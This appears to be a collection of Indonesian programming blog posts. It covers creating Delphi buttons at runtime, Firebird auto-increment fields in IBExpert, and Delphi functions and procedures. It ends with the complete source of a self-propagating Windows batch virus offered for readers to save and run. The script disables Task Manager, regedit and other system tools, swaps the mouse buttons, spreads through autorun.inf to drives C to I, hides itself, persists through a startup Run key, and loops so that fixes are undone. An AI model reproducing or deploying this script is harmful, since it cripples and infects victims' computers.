gini ,, biasanya kita menambahkan/meletakan komponen saat posisi design time atau waktu merancang menggunakan IDE delphi. nah,, kali ini saya share gimana cara nambahin komponen waktu Runtime atau saat program di jalan kan..

hemmm.. berhubung udah ngantuk dan lemes,, jadi saya ngasi contoh yg sederhana saja ,, yaitu menambah komponen TButton saat runtime.

secara garis besar,, Property yang perlu di perhatikan ketika menciptakan objek visual secara umum yaitu :

0. Parent, parent yg di maksud disini adalah component visual yang bersifat container yang nantinya sebagai tempat berdiri dari component yang akan di ciptakan.

1. Tinggi (Height)

2. Panjang (Width)

3. Batas atas terhadap Parent (Top)

4. Batas kiri terhadap Parent (Left)

property lain, seperti Caption, Hint, Align tinggal menyesuaikan kebutuhan saja.

berikut kode nya

procedure TForm1.pCreateButton();

var vButton : TButton;

begin

vButton := TButton.Create(Form1); //form1 disini adalah owner dari TButton

vButton.Parent := Form1; // tempat berdiri dari TButton

vButton.Width := 100;

vButton.Height := 50;

vButton.Top := 50;

vButton.Left := 50;

end;

procedure TForm1.FormClick(Sender: TObject);
begin
pCreateButton;
end;

maka, ketika form1 di klik komponen TButton tercipta, berikut SS nya

kali ini saya menjelaskan bagaimana cara bikin field auto increment pada database firebird,

kenapa musti dijelasin??

nice question..

tidak seperti pada mysql, pembuatan field auto increment di firebird lebih ribet, soalnya bisa dibilang manual, pada mysql tinggal di tambahin parameter AUTO_INCREMENT waktu bikin tabel seperti contoh di bawah ini

CREATE TABLE animals (
     id MEDIUMINT NOT NULL AUTO_INCREMENT,
     name CHAR(30) NOT NULL,
     PRIMARY KEY (id)
)

tapi di firebird beda coy, musti bikin generator dulu, trus di bikin triger nya buat masukin value generator nya ke dalam tabel.. seperti apa sintak nya ??

no no no.. disini kagak bicara sintak, seperti judul di atas saya make bantuan IBExpert ,, . berikut langkah” nya..

1. bikin table nya

Menambah Tabel

Klik kanan pada icon Tables di form Database Explorer, kemudian klik New Table… atau tekan CTRL +N

2. Tambah Field bertipe Integer, atau Bigint

Menambahkan Field Baru ke Dalam Tabel

Setelah menambahkan Field, Klik 2 kali baris pada kolom AutoInc.

kemudian Klik Create Generator,

Menambahkan Triger

kemudian klik tab Triger, dan klik Create Trigger, truuus.. pencet tombol OK..

dan setelah itu tinggal di compile, pencet tombol petir di pojok kiri atas yang warna kuning itu….

Commit Transaction

trus pencet Commit..

dah selese.. gitu aja,, gampang kan..

menurut saya, kalau anda sedang bingung cari Firebird manager .. yaaa pake IBExpert aja,, lebih simple dan mudah dimengerti orang awam kyk saya ini

o iya.. Screen Shot di atas terlihat saya make Linux Ubuntu,, IBExpert sebenarnya buat Windows, tapi bisa juga di Ubuntu, tinggal nambahin Library gds32.dll secara manual supaya isa jalan normal.

thx.. sekian….

mengapa… mengapa.. harus mempelajari itu?? begini.. saya jelaskan… penulisan atau penambahan secara manual suatu function atau procedure lebih baik dilakukan saat menyelesaikan suatu permasalahan yang membutuhkan operasi tertentu secara berulang kali, penambahan function dan procedure yang sesuai dengan kebutuhan dapat mempermudah ketika mengembangkan project serta pencarian bug dalam project tersebut.

apakah function itu?.. dan apakah procedure itu?..

function adalah..  sekumpulan statement, variabel, parameter yang dijadikan satu untuk mengerjakan satu atau lebih operasi dan mempunyai satu feedback atau nilai balik, feedback bisa ber tipe data apa saja sesuai deklarasi.

procedure adalah.. sekumpulan statement, variabel, parameter yang dijadikan satu untuk mengerjakan satu atau lebih operasi.

nah,, dari definisi yg saya jelaskan di atas, function dan procedure mempunyai perbedaan yaitu pada feedback atau nilai balik, tidak seperti function, procedure hanya mengerjakan operasi tanpa mengembalikan nilai.

berikut penjelasan cara penulisan nya :

Deklarasi :

procedure NamaProcedure(Parameter : TipeData);

function NamaFunction(Parameter : TipeData) : TipeDataFeedback;

deklarasi procedure dan function ditulis pada block public declaration, private, dan protected.

type
TForm1 = class(TForm)
private
procedure NamaProcedure(Parameter : TipeData);
public
function NamaFunction(Parameter : TipeData) : TipeDataFeedback;
protected
{ Protected declarations }
end;

Implementasi :

penulisan implementasi nggk susah kok,, mudah sekali,, tinggal letakan kursor pada baris deklarasi mu trus pencet ctrl+shift+c .. dor ! jadi deh baris implementasi nya

procedure TForm1.NamaProcedure(Parameter : TipeData);
begin

end;

procedure TForm1.NamaFunction(Parameter : TipeData): TipeDataFeedback;
begin

end;

Pemanggilan atau eksekusi :

buat manggil procedure dan function yang telah di tulis, tinggal panggil aja nama mereka,, guus aguus,,, !… hahahha, ginii..  saya misal kan manggil procedure saat event button click pada suatu form

seperti ini :

procedure TForm1.Button1Click(Sender: TObject);
begin
NamaProcedure(NamaParameter);
end;

gitu aja,,

nah,, kurang lebih seperti itu,, penjelasan dari saya,, kalo ada salah” kata maap yaaa, haha.. eh.. buat yang masi bingung ni saya sertakan contoh nya,, silahkan di donlod..

kenapa bisa licik?? yang bikin licik menurutku tu adanya proses looping nya.. jadi walau file yang di buat virus, atau registry entry yang di ubah ketauan sama yang punya komputer dan di kembalikan sepreti semula, tetep nantinya balik lagi-balik lagi hehehe

kalu mau liat sourcenya dan baca lebih lanjut silahkan klik link dibawah ini

=====================================================================

@echo off
:proses
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add “hkcu\Control Panel\Mouse” /v SwapMouseButtons /t REG_SZ /d 1 /f
echo [autorun]>autorun.inf
echo shell\1=Scan Virus>>autorun.inf
echo shell\1\command=noname.bat>>autorun.inf
echo shell\2=Properties>>autorun.inf
echo shell\2\command=noname.bat>>autorun.inf
for %%t in (C D E F G H I) do copy /y autorun.inf %%t:\
for %%t in (C D E F G H I) do copy /y %0 %%t:\
for %%t in (C D E F G H I) do attrib +s +h %%t:\noname.bat
for %%t in (C D E F G H I) do attrib +s +h %%t:\autorun.inf
copy %0 C:\WINDOWS\system32\
reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v windos /t REG_SZ /d C:\WINDOWS\system32\noname.bat
attrib +s +h C:\WINDOWS\system32\noname.bat
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /t REG_DWORD /d 91 /f
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f
reg add “hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeCaption /t REG_SZ /d HUIHIHIHI /f
reg add “hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /t REG_SZ /d “Maaf, komputer anda saya obok-obok…. Virus ini buatan anak bangsa cintailah produk dalam negri.., virus made in Tipes” /f
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
attrib +s +h C:\WINDOWS
goto proses

=====================================================================

tulis source diatas ke notepad trus ekstensinya diganti *.bat

algoritmanya sbb :

1. mendisable task manager

2. membalik klik mouse

3. membuat file autorun.inf

4. copy autorun.inf ke drive C,D,E,F,G,H,I

5. copy virus ke drive C,D,E,F,G,H,I

6. merubah atribut virus & file autorun menjadi super hiden

7. copy virus ke system32

8. menjadikan virus aktif saat start up windows

9. merubah atribut virus di folder system32 menjadi super hiden

10. disable find, disable run, disable turn off computer, aktifkan autoplay, disable folder option, disable show super hiden, membuat pesan saat masuk windows, disable regedit.

11. merubah atribut folder WINDOWS menjadi super hiden

semoga bermanfaat..